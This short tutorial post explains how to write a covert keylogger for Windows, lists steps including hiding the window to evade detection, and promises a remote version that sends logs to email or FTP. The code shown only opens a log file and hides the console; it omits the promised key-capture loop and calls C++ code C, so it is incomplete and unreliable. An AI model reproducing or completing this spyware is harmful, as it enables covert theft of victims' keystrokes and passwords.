How make a Key Logger in C language.

Keylogger is a computer program which captures all the key strokes pressed by user in real time. It captures all the keys and write them to some file say log.txt and stores it on computer hard disk. Now sending these logs to emails or FTP address depends upon the type of keylogger that is keylogger is remote keylogger or physical keylogger. Physical keyloggers are useful when you have physical access to that system and can retrieve logs personally. While remote keyloggers can be used from anywhere in the world, the only requirement is that victim must have internet connection. Today we will be writing a C program of Physical keylogger or Keystroke logger which requires physical access of the system. We will be extending our logic in further programs to make it remote keylogger which sends logs to FTP’s and Emails directly.

Algorithm for writing a Simple Keylogger :

1. Create an Empty log file for storing keylogs.
2. Intercept keys pressed by user using GetAsyncKeyState() function.
3.  Store these intercepted values in file.
4.  Hide the Running Window Dialog to make it undetectable.
5.  Use while loop to make it running in all conditions.
6.  Add Sleep() function to reduce the CPU usage to 0%.


C program

#include<iostream>
 #include<windows.h>
 #include<fstream>
 #include<time.h> 
using namespace std; 
int main() 
{ 
bool runlogger = true;
 ofstream log; //where your logs will be stored 
log.open("C:\\log.txt", ofstream::out);
 //displaying error message when unable to open file
 if(log.fail()) 
{ 
printf("Error in opening log.txt file\n");
 }
 //Code for hiding running dialog 
HWND hideIt = FindWindow("ConsoleWindowClass",NULL); 
ShowWindow(hideIt,0);
}


HAVE FUN :)